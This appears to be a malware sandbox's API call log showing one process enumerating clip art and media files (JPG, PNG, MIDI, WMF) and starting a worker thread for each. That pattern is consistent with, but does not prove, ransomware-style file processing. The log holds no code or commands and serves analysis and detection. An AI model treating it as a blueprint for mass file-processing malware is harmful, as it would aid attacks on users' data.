	[0258.351] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1
	[0258.351] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb8
	[0258.353] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.354] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1
	[0258.354] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8c
	[0258.356] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.357] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1
	[0258.357] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff8
	[0258.359] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.360] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1
	[0258.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2004
	[0258.365] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.365] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1
	[0258.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ffc
	[0258.368] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.368] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1
	[0258.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x201c
	[0258.523] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.524] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x72, dwReserved1=0x0, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1
	[0258.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200c
	[0258.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.527] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x72, dwReserved1=0x0, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1
	[0258.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2008
	[0258.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1
	[0258.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2010
	[0258.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.533] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x72, dwReserved1=0x0, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1
	[0258.533] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2018
	[0258.535] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.536] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1
	[0258.536] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2014
	[0258.539] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.540] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x72, dwReserved1=0x0, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1
	[0258.540] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc4
	[0258.542] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.543] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1
	[0258.543] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc0
	[0258.545] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.546] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1
	[0258.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a0
	[0258.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.549] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1
	[0258.549] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x209c
	[0258.551] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.552] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1
	[0258.552] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2098
	[0258.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.555] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1
	[0258.555] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a4
	[0259.708] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1
	[0259.709] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2094
	[0259.711] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.712] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1
	[0259.712] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ac
	[0259.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.714] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1
	[0259.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e8
	[0259.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.716] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1
	[0259.716] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a8
	[0259.718] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.719] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1
	[0259.719] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ec
	[0259.721] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.722] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1
	[0259.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f0
	[0259.724] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.724] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1
	[0259.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f4
	[0259.727] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.727] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1
	[0259.727] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f8
	[0259.729] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.730] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1
	[0259.730] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20fc
	[0259.732] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.732] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1
	[0259.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2100
